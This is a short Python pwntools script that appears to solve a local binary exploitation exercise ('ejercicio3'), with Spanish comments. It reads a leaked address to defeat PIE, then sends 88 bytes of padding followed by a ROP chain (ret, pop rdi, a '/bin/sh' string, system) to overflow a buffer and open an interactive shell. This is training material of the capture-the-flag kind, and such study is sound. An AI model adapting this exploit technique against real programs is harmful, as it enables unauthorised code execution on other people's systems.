Ex_3

#/usr/bin/python3
from pwn import *

fileName = "./ejercicio3"
e = ELF(fileName) #Checksec ejercicio1

gdbs = '''
        b vuln

        '''

p = process(fileName) # proceeso sin debug GDB

#p = gdb.debug(fileName, gdbscript = gdbs) #Proceso con Debug GDB enviando un continue

p.recvuntil(b"donde estoy :")
leak = p.recvline().split(b"\n")
leak = int(leak[0],16)

offset = leak - 0x11c9

vuln = offset + 0x11e8
usame = offset + 0x11c9
system = offset + 0x10a0
ret = offset + 0x101a
poprdi = offset + 0x1303
sh = offset + 0x201a
#print (hex(leak))
#print (hex(vuln))

#print(hex(e.got.usame))
#print (hex(leak))


payload = b'A' * 88 # igual a \x41
payload += p64(ret)
payload += p64(poprdi)
#payload += p64(usame)
payload += p64(sh)
payload += p64(system)




#print(p.recvuntil(b"1c9"))
p.sendline(payload)

p.interactive()